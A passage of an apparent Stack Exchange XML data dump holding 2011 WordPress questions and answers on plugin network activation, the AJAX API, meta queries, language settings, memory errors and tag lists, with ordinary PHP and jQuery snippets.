href=&quot;#TB_inline?height=200&amp;amp;width=200&amp;amp;inlineId=lform&quot;&amp;gt;Login&amp;lt;/a&amp;gt; to see the content';&#xA;}else{&#xA;&#xA;&#xA;//your loop goes here&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-01T15:40:42.937" />
  <row Id="18957" PostTypeId="1" AcceptedAnswerId="18960" CreationDate="2011-06-01T15:49:04.517" Score="1" ViewCount="42" Body="&lt;p&gt;When you're upgrading a plugin you can quickly check if the plugin version you are about to upgrade to works with your current version of Wordpress. Is there a way of checking that your current plugins will work with the version of Wordpress you are about it upgrade to without searching for each one in the directory?&lt;/p&gt;&#xA;" OwnerUserId="4661" LastActivityDate="2011-06-01T16:09:40.060" Title="How to check plugin compatibility before upgrading Wordpress" Tags="&lt;plugins&gt;&lt;upgrade&gt;&lt;wordpress-version&gt;" AnswerCount="1" />
  <row Id="18958" PostTypeId="1" AcceptedAnswerId="18961" CreationDate="2011-06-01T15:59:14.340" Score="0" ViewCount="36" Body="&lt;p&gt;I have the following lines of code that add the settings link and setup for my plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', array(&amp;amp;$this, 'admin_settings_menu')); // Add menu to options&#xA;add_action('admin_init', array(&amp;amp;$this, 'admin_settings_init')); // Add admin init functions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now because of the nature of my plugin if the plugin is &lt;em&gt;Network Installed&lt;/em&gt; then the settings should only be available to the network admin not the individual site admins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to check if the plugin is Network Installed so I can wrap an if statement round it?&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-01T16:09:54.457" Title="How to tell if plugin has been network activated" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;settings&gt;" AnswerCount="1" />
  <row Id="18959" PostTypeId="2" ParentId="14801" CreationDate="2011-06-01T16:01:32.350" Score="1" ViewCount="" Body="&lt;p&gt;I can't speak to SOAP specifically, but I did build a plugin (private) for a client once that had to communicate with a proprietary third-party web service. In this case, it was a non-RESTful interface which used a mix of querystrings and XML POST requests for submitting queries (depending on the complexity of the type of query), and returned result data in XML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built PHP classes to help abstract out their service into an API I could deal with more easily, and to smooth out the inconsistencies in their interface and the different types of XML documents they accepted and returned. Also, by creating my own abstraction, I hoped to safeguard my code against future changes on their end. If they kept the same basic structure for organizing data, but switched to a JSON encoding, for example, most of my business logic would remain intact, and I would only need to rewrite my request and response pieces for encoding/decoding the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While not specific to your question, my past experiences with SOAP have been mostly negative. There has been a long-standing battle over whether SOAP is an RPC service, or a document transport. Couple that with complications arising from slightly non-standard implementations (search for articles about using perl's SOAP::Lite module with a Microsoft SOAP server, for example), using XML namespaces, and other factors, and you will get frustrated pretty quickly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder, though, if your question is more specifically along the lines of someone building both the client and server-side SOAP pieces? If I was building a web service (and associated WordPress plugin to access it), SOAP would definitely &lt;em&gt;not&lt;/em&gt; be my first choice for the API RPC or data transport. &lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-06-01T16:01:32.350" CommunityOwnedDate="2011-06-01T16:01:32.350" CommentCount="1" />
  <row Id="18960" PostTypeId="2" ParentId="18957" CreationDate="2011-06-01T16:04:16.083" Score="1" ViewCount="" Body="&lt;p&gt;Have a glance at &lt;a href=&quot;http://wordpress.org/extend/plugins/better-plugin-compatibility-control/&quot; rel=&quot;nofollow&quot;&gt;Better Plugin Compatibility Control&lt;/a&gt;. I just found this out this morning. I think this does what you're after.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-06-01T16:09:40.060" LastActivityDate="2011-06-01T16:09:40.060" CommentCount="1" />
  <row Id="18961" PostTypeId="2" ParentId="18958" CreationDate="2011-06-01T16:09:54.457" Score="4" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;is_plugin_active_for_network( $plugin )&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-01T16:09:54.457" />
  <row Id="18962" PostTypeId="2" ParentId="18950" CreationDate="2011-06-01T16:17:53.483" Score="2" ViewCount="" Body="&lt;p&gt;With oEmbed support in both WordPress and on Vimeo's end, why not just use the &lt;code&gt;[embed]&lt;/code&gt; shortcode?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[embed]http://vimeo.com/24474320[/embed]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is easy to explain, and users are generally pretty comfortable with just copy-and-pasting a URL directly, rather than having to extract just the ID out of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also turn on the option to just use the URL on a line by itself in a post, without the &lt;code&gt;[embed]&lt;/code&gt; shortcode. Personally, I prefer the explicit shortcode, because it always works, and there's less chance of other plugins interfering.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-06-01T16:17:53.483" CommentCount="3" />
  <row Id="18963" PostTypeId="2" ParentId="18799" CreationDate="2011-06-01T16:21:10.407" Score="1" ViewCount="" Body="&lt;p&gt;No need for a custom query. Since 3.1, you can use a 'meta query';&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array(&#xA;    'meta_query' =&amp;gt; array(&#xA;        array( &#xA;            'key' =&amp;gt; 'meta_key_name',&#xA;            'value' =&amp;gt; 'test',&#xA;            'compare' =&amp;gt; 'LIKE'&#xA;        )&#xA;    )&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;the codex on custom field parameters&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-02T10:18:13.150" LastActivityDate="2011-06-02T10:18:13.150" CommentCount="2" />
  <row Id="18964" PostTypeId="1" AcceptedAnswerId="18966" CreationDate="2011-06-01T16:30:04.950" Score="0" ViewCount="40" Body="&lt;p&gt;I'm a bit confused now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've installed Wordpress for my Polish friend from here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pl.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;http://pl.wordpress.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my local machine everything works fine and is in Polish, but installing it on the web server looks like default English Wordpress (&quot;Recent posts&quot;, &quot;Archives&quot; etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every language file I found is polish (in themes/twentyten/languages AND wp-content/languages), also wp-config is set to &lt;code&gt;define('WPLANG', 'pl_PL');&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-06-01T16:40:02.230" Title="Wrong WordPress language?" Tags="&lt;multi-language&gt;&lt;wp-config&gt;&lt;language&gt;" AnswerCount="1" />
  <row Id="18966" PostTypeId="2" ParentId="18964" CreationDate="2011-06-01T16:40:02.230" Score="1" ViewCount="" Body="&lt;p&gt;Woah, default Polish WordPress package is corrupted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change &lt;code&gt;define('WPLANG', 'pl_PL');&lt;/code&gt; to &lt;code&gt;define('WPLANG', 'pl_pl');&lt;/code&gt; or download older version.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-06-01T16:40:02.230" CommentCount="1" />
  <row Id="18967" PostTypeId="2" ParentId="18844" CreationDate="2011-06-01T16:45:41.333" Score="0" ViewCount="" Body="&lt;p&gt;Its documented.. &lt;a href=&quot;http://www.optimiseblog.co.uk/twenty-ten-theme-all-in-one-seo-pack-joined-no-space-issue/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;heres a fix&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-01T16:45:41.333" CommentCount="1" />
  <row Id="18968" PostTypeId="1" AcceptedAnswerId="19004" CreationDate="2011-06-01T16:49:49.853" Score="24" ViewCount="604" Body="&lt;p&gt;We have the &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt; thread, so I thought that it might be useful to create a thread for our .htaccess files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;AND PLEASE REMEMBER TO ADD ANY OF YOUR OWN SNIPPETS TO THIS LIST&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-02T13:52:51.067" LastActivityDate="2011-06-27T17:23:20.260" CommunityOwnedDate="2011-06-01T21:42:50.267" Title="Best collection of code for your .htaccess file" Tags="&lt;htaccess&gt;&lt;best-practices&gt;&lt;code&gt;" AnswerCount="6" CommentCount="2" FavoriteCount="24" />
  <row Id="18969" PostTypeId="2" ParentId="18950" CreationDate="2011-06-01T16:56:40.833" Score="1" ViewCount="" Body="&lt;p&gt;You could set up a custom post type, and simply not register the editable content area. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better solution might be to look into the new &lt;a href=&quot;http://codex.wordpress.org/Post_Formats&quot; rel=&quot;nofollow&quot;&gt;Post Formats&lt;/a&gt; feature within WP. It explicitly has a post format of &quot;video&quot; that you might look into.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-06-01T16:56:40.833" CommentCount="3" />
  <row Id="18970" PostTypeId="2" ParentId="18852" CreationDate="2011-06-01T17:02:17.990" Score="0" ViewCount="" Body="&lt;p&gt;&quot;Theme&quot; options panels that do more than adjust the visual aspects of the site are a nuisance. They shouldn't bundle SEO into them, they shouldn't bundle custom post types. Specifically, they shouldn't ever tie your content to their theme, creating a lock in solution that sucks for long term.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-06-01T17:02:17.990" CommentCount="1" />
  <row Id="18971" PostTypeId="2" ParentId="18951" CreationDate="2011-06-01T17:05:46.710" Score="1" ViewCount="" Body="&lt;p&gt;I find the &lt;a href=&quot;http://wordpress.org/extend/plugins/ajax-thumbnail-rebuild/&quot; rel=&quot;nofollow&quot;&gt;AJAX Thumbnail Rebuild&lt;/a&gt; to be better than the regenerate thumbnails plugin, because it doesn't tie up your server as bad, allows you to skip certain sizes (which saves time), and gives more visual feedback.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-06-01T17:05:46.710" CommentCount="1" />
  <row Id="18972" PostTypeId="1" AcceptedAnswerId="18994" CreationDate="2011-06-01T17:13:33.120" Score="1" ViewCount="100" Body="&lt;p&gt;I've got the &quot;Widget Logic&quot; plugin installed. I have created my own widget called &quot;Buzz&quot;. I have a sidebar with multiple instances of my custom widget &quot;Buzz&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, on the Widgets admin page when a sidebar is toggled open and all of the widgets in that sidebar are closed up, you can see a widget name and widget instance title (if one is specified).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I have 2 instances of my &quot;Buzz&quot; widget with different titles, on the Widget admin page it looks something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Buzz: Title 1&#xA;Buzz: Title 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is to display &quot;Widget Logic&quot; value specified for a widget instance under the &quot;widget name: widget instance title&quot; line on the Widget admin page. So, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Buzz: Title 1&#xA;Displayed on: is_front_page()&#xA;&#xA;Buzz: Title 2&#xA;Displayed on: is_page(&quot;page_slug&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would really appreciate if any one could help me out with this: how to get the value specified in the &quot;Widget Logic&quot; input box and display it under the widget instance title on the Widget admin page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-06-02T12:55:09.047" Title="How to get &quot;Widget Logic&quot; plugin's input value in a custom widget code (to display on the Widget admin page)" Tags="&lt;widgets&gt;&lt;admin&gt;&lt;title&gt;&lt;hacks&gt;" AnswerCount="1" />
  <row Id="18973" PostTypeId="1" AcceptedAnswerId="18974" CreationDate="2011-06-01T17:18:23.887" Score="0" ViewCount="123" Body="&lt;p&gt;I have a script that's called from my functions.php file (via an ajax .get) that needs to have access to WP's get_option() method in order to retrieve some values it needs to process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, although the file works great in the majority of sites where it resides, on just a few installations, I'm having problems with the script operating (chrome's javascript console reports a 404 (not found) on color.php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//jQuery calls the file color.php&#xA;&#xA;$('#my_theme_switcher').change&#xA;(&#xA;    function() &#xA;    {&#xA;        $.get&#xA;        ('&amp;lt;?php echo get_bloginfo('template_directory') ?&amp;gt;/color.php', &#xA;        {theme: 'test', spot: '1'}, &#xA;        function(data)&#xA;            {&#xA;                doColor('#theme_header_color', data);&#xA;            }&#xA;        );&#xA;    }&#xA;);&#xA;&#xA;&#xA;Here is the file color.php&#xA;&#xA;&amp;lt;?php&#xA;require_once('../../../wp-blog-header.php');&#xA;echo 'all good';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, I never get the echo since it appears that the require statement has failed to load the wp-blog-header.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an alternative way of including the header file in order to be able to call get_option()?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-06-03T03:39:00.607" Title="Including wp-blog-header.php from functions.php remote call?" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="18974" PostTypeId="2" ParentId="18973" CreationDate="2011-06-01T17:32:32.200" Score="3" ViewCount="" Body="&lt;p&gt;You shouldn't need to make direct calls to your theme files - use the AJAX API, and make all requests to &lt;code&gt;admin-ajax.php&lt;/code&gt; (that way, WordPress'll be loaded for you, and you won't need to assume the file hierarchy in order to load it manually).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.get(&#xA;    '&amp;lt;?php echo admin_url( 'admin-ajax.php' ) ?&amp;gt;',&#xA;&#xA;    {&#xA;        &quot;color_theme&quot; : &quot;test&quot;,&#xA;        &quot;color_spot&quot; : &quot;1&quot;,&#xA;        &quot;action&quot; : &quot;change_color&quot;&#xA;    },&#xA;&#xA;    function( data ) {&#xA;        doColor( '#theme_header_color', data );&#xA;    }&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in &lt;code&gt;functions.php&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __do_color_ajax()&#xA;{&#xA;    $theme = $_GET['color_theme'];&#xA;    $spot = $_GET['color_spot'];&#xA;&#xA;    // do something&#xA;&#xA;    die( 'AJAX output' );&#xA;}&#xA;add_action( 'wp_ajax_nopriv_change_color', '__do_color_ajax' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See how the suffix of the hook, &lt;code&gt;wp_ajax_nopriv_change_color&lt;/code&gt;, matches the action variable in the AJAX request? &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15964/how-to-make-ajax-call-in-wordpress-in-right-way/15984#15984&quot;&gt;See this SE answer for more info&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note I've also prefixed the other AJAX request variables, as you should &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12169/why-is-posting-to-my-wp-page-template-producing-a-404/12173#12173&quot;&gt;namespace custom &lt;code&gt;$_GET&lt;/code&gt; and &lt;code&gt;$_POST&lt;/code&gt; variables&lt;/a&gt; in the same way you do PHP variables and functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check out the &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;codex on the AJAX API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-02T10:31:29.623" LastActivityDate="2011-06-02T10:31:29.623" CommentCount="6" />
  <row Id="18975" PostTypeId="1" CreationDate="2011-06-01T17:52:26.713" Score="0" ViewCount="73" Body="&lt;p&gt;I am using wp-polls for voting system. I need to include some php code within the wp-poll templates, but somehow the php code is not getting executed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also installed php-exc plugin with no success&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on this would be great&lt;/p&gt;&#xA;" OwnerUserId="4695" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-07-31T22:50:58.327" LastActivityDate="2011-08-31T14:37:34.760" Title="PHP code in WP-Polls templates" Tags="&lt;plugin-wp-polls&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="18976" PostTypeId="1" AcceptedAnswerId="18988" CreationDate="2011-06-01T17:54:32.053" Score="0" ViewCount="114" Body="&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; The end result is that I did not account for Apache memory limits.  There were limits placed on the Apache process which caused PHP to be limited regardless of the settings placed on it.  Changing these values in httpd.conf, helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hello,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am encountering an error with a recently launched site that although the pages display, I am severely limited by the number of plugin's that I can enable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We started to see an error occur:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Out of memory (allocated 24903680) (tried to allocate 1802297 bytes) in /home/normal/public_html/normalpl.org/wp-includes/wp-db.php on line 791&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we have tried the usual fixes of increasing PHP and Wordpress memory allocations (have a VPS, with full root) all the way up to 256MB but with no affect on the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following are the plugins enabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CMS Tree Page View&#xA;WP-DBManager&#xA;Login Lockdown&#xA;Contact Form 7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now enabling any other plugins will start to cause these memory errors to occur.  Almost always on Post/Page save operations.  Notably, All in One SEO or Yoast SEO or W3 Total Cache, but others will also cause this to occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that in the database there were some strange Unicode Code Points that had been brought in by a cut/paste from Word and so I went through all of the Posts/Pages and escaped all of the entities so that they were not unicode but HTML Entities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the error was still occurring upon enabling one of the above plugins and saving a post/page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wiped out all files/configurations and started with a fresh install of Wordpress and re-imported the existing database to make sure there wasn't something strange in the files and I still encountered the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel that I am stuck on thinking that there is some strange escaping bug going on when it hits that mysql_real_escape_string function as removing that and just dumping the plain string into the database works (but is horrible for XSS and proper MySQL escaping).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, the error happens when using the older method of Add_Slashes, and I also noticed that Magic_Quotes_GPC is on if that helps.  Thanks for all of the assistance, this is a baffling one for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Adam&lt;/p&gt;&#xA;" OwnerUserId="5867" LastEditorUserId="5867" LastEditorDisplayName="" LastEditDate="2011-06-03T06:58:14.447" LastActivityDate="2011-06-03T06:58:14.447" Title="Out of Memory - Line 791 of WP-DB.php (mysql_real_escape_string)" Tags="&lt;wpdb&gt;&lt;memory&gt;&lt;save-post&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18978" PostTypeId="1" CreationDate="2011-06-01T18:35:17.777" Score="0" ViewCount="238" Body="&lt;p&gt;&lt;br&gt;&#xA;i'm trying to use ajax with a simple example, i took the example from : &lt;a href=&quot;http://ocaoimh.ie/2008/11/01/make-your-wordpress-plugin-talk-ajax/&quot; rel=&quot;nofollow&quot;&gt;http://ocaoimh.ie/2008/11/01/make-your-wordpress-plugin-talk-ajax/&lt;/a&gt; example N°5&#xA;(which doesn't work actually as it is)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i'm trying just to get the result from the php page, located in /wp-content/ajax-php.php, but nothing, except the alert, seems to react. Could you have a look and tell me if you see something wrong? :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;            /*&#xA;            Plugin Name: ajax with images&#xA;            Plugin URI: http://ocaoimh.ie/&#xA;            Description: A simple hello world plugin, taken from &amp;lt;a href=&quot;http://jquery.bassistance.de/jquery-getting-started.html#rate&quot;&amp;gt;here&amp;lt;/a&amp;gt;&#xA;            Version: 0.1&#xA;            Author: Donncha O Caoimh&#xA;            Author URI: http://ocaoimh.ie/&#xA;            */&#xA;&#xA;            function helloworld5_scripts() {&#xA;                    global $current_user;&#xA;                    if( !$current_user-&amp;gt;ID )&#xA;                            return;&#xA;                    if( is_single() ) {&#xA;                            wp_enqueue_script('jquery');&#xA;                    }&#xA;            }&#xA;            add_action( 'wp_print_scripts', 'helloworld5_scripts');&#xA;&#xA;            function helloworld5_head() {&#xA;                    global $current_user;&#xA;                    if( !$current_user-&amp;gt;ID )&#xA;                            return;&#xA;                    if( !is_single() )&#xA;                            return;&#xA;                    ?&amp;gt;&#xA;            &amp;lt;script  type='text/javascript'&amp;gt;&#xA;            &amp;lt;!--&#xA;            var currentpost = '';&#xA;            jQuery(document).ready(function() {&#xA;                    // generate markup&#xA;                    var ratingMarkup = [&quot;Please rate: &quot;];&#xA;                    for(var i=1; i &amp;lt;= 5; i++) {&#xA;                            ratingMarkup[ratingMarkup.length] = &quot;&amp;lt;a href='#'&amp;gt;&quot; + i + &quot;du-texte-pour-tester&amp;lt;/a&amp;gt; &quot;;&#xA;                    }&#xA;                    // add markup to container and applier click handlers to anchors&#xA;                    jQuery(&quot;#rating&quot;).append( ratingMarkup.join('') ).find(&quot;a&quot;).click(function(e) {&#xA;                            //e.preventDefault();&#xA;                            // send requests&#xA;                            alert('ok');&#xA;                            jQuery.post(&quot;/wp-content/ajax-php.php&quot;, {rating: jQuery(this).html()}, function(data) {&#xA;                                    jQuery(&quot;#rating&quot;).append(data+' : hello ');&#xA;                            } );&#xA;                            return false;&#xA;                    });&#xA;            });&#xA;            // --&amp;gt;&#xA;            &amp;lt;/script&amp;gt;&#xA;                    &amp;lt;?php&#xA;            }&#xA;            add_action( 'wp_head', 'helloworld5_head' );&#xA;&#xA;            function add_thumb_to_post( $content ) {&#xA;                    global $post;&#xA;                    global $current_user;&#xA;                    if( !$current_user-&amp;gt;ID )&#xA;                            return $content;&#xA;                    if( !is_single() )&#xA;                            return $content;&#xA;                    return $content . &quot;&amp;lt;p&amp;gt;&amp;lt;div id='rating'&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;script type='text/javascript'&amp;gt;\n&amp;lt;!--\ncurrentpost='{$post-&amp;gt;ID}';\n//--&amp;gt;\n&amp;lt;/script&amp;gt;&quot;;&#xA;            }&#xA;            add_action( 'the_content', 'add_thumb_to_post' );&#xA;            ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5644" LastActivityDate="2011-08-31T02:37:08.703" Title="my example with ajax doesn't work" Tags="&lt;jquery&gt;&lt;ajax&gt;" AnswerCount="1" />
  <row Id="18979" PostTypeId="1" CreationDate="2011-06-01T18:53:03.587" Score="0" ViewCount="31" Body="&lt;p&gt;I'm attempting to set up a basic website ( rather than blog site ) using wordpress. I have a number of static pages, and I have other pages where the title is defined as &lt;code&gt;&amp;lt;a href=&quot;http://192.168.1.199/archives/category/events&quot;&amp;gt;Events&amp;lt;/a&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;a href=&quot;http://192.168.1.199/archives/category/articles&quot;&amp;gt;Articles&amp;lt;/a&amp;gt;&lt;/code&gt; to list posts in particular categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content of the site will be open to everyone, except for the Articles section, where only members will be allowed. I'd be happy if someone could &#xA;a) say whether or not using page titles like this is sane &#xA;b) point me in the direction of some documentation that will tell me how to implement the security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="4937" LastActivityDate="2011-06-01T18:53:03.587" Title="Site Membership Newbie question" Tags="&lt;categories&gt;&lt;membership&gt;" />
  <row Id="18980" PostTypeId="2" ParentId="18978" CreationDate="2011-06-01T19:07:02.953" Score="0" ViewCount="" Body="&lt;p&gt;Your code is technically correct, though you should be doing ajax calls via the &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15964/how-to-make-ajax-call-in-wordpress-in-right-way&quot;&gt;WordPress provided means&lt;/a&gt;. Also, your path to &lt;code&gt;ajax-php.php&lt;/code&gt; will fail if WP isn't installed in root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does &lt;code&gt;ajax-php.php&lt;/code&gt; contain and what are you expecting it to return? If you're trying to use WordPress functions inside of that file, you need to bootstrap WordPress by including &lt;code&gt;wp-load.php&lt;/code&gt;. But again, you probably shouldn't be doing it that way in the first place, see the link above.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-01T19:07:02.953" CommentCount="2" />
  <row Id="18981" PostTypeId="1" AcceptedAnswerId="18984" CreationDate="2011-06-01T21:00:32.313" Score="1" ViewCount="63" Body="&lt;p&gt;I have a Linode VPS running a single Wordpress blog. It has been running just fine until today. The admin panel is snappy, but the site is very slow. I am still finishing the site, so there shouldn't be any traffic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to mydomain.com it takes 45+ seconds to load, then each click on the link takes about the same amount of time. I didn't update any WP plugins (or WP), but I did add a google analytics plugin a week ago, but seemed fine. I disabled that and no difference either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried rebooting nginx, and then rebooted the whole machine... still slow. My &quot;free -m&quot; output is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; user@myserver~ $ free -m&#xA;         total       used       free     shared    buffers     cached&#xA; Mem:     469        147        321          0          3         45&#xA; -/+ buffers/cache:   98        370&#xA; Swap:    511          0        511&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The weird part is nothing has changed in the last few days....Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3971" LastActivityDate="2011-06-01T21:09:10.160" Title="Wordpress site is sloooow, but admin is fast....any ideas?" Tags="&lt;performance&gt;&lt;vps&gt;" AnswerCount="1" />
  <row Id="18982" PostTypeId="1" AcceptedAnswerId="18987" CreationDate="2011-06-01T21:04:24.747" Score="1" ViewCount="103" Body="&lt;p&gt;I found that I can do&#xA;&lt;code&gt;&amp;lt;?php wp_tag_cloud( array( 'taxonomy' =&amp;gt; 'name', 'format' =&amp;gt; 'list' ) ); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want the list to be seperated by the letter. Alphabeticaly is what I want. So it would display the letter A then all names with that letter and the letter B with all of the b's and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="4278" LastActivityDate="2011-06-01T21:26:17.327" Title="Custom Taxonomy Tag Cloud?" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18983" PostTypeId="1" AcceptedAnswerId="18986" CreationDate="2011-06-01T21:05:08.523" Score="2" ViewCount="94" Body="&lt;p&gt;I'm looking for a way to display a plain-text list of tags to use as classes on my post elements, I've been trying &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tags = get_tags();&#xA;$tag_list = &quot;&quot;;&#xA;foreach($tags as $tag){&#xA;    $tag_list .= $tag-&amp;gt;name . &quot; &quot;;&#xA;}&#xA;echo &quot;&amp;lt;li class=\&quot;$tag_list\&quot;&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the loop but it seems to output all the tags instead of just the current post's tags, so if I have tags &lt;code&gt;x&lt;/code&gt;, &lt;code&gt;y&lt;/code&gt;, and &lt;code&gt;z&lt;/code&gt;, and I'm viewing a post with tag &lt;code&gt;x&lt;/code&gt; I still get &lt;code&gt;&amp;lt;li class=&quot;x y z&quot;&amp;gt;&lt;/code&gt; anybody have any ideas as to how to show a plain-text list of tags or what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="4114" LastActivityDate="2011-06-02T17:47:50.303" Title="Plain-text tag list?" Tags="&lt;posts&gt;&lt;tags&gt;" AnswerCount="3" 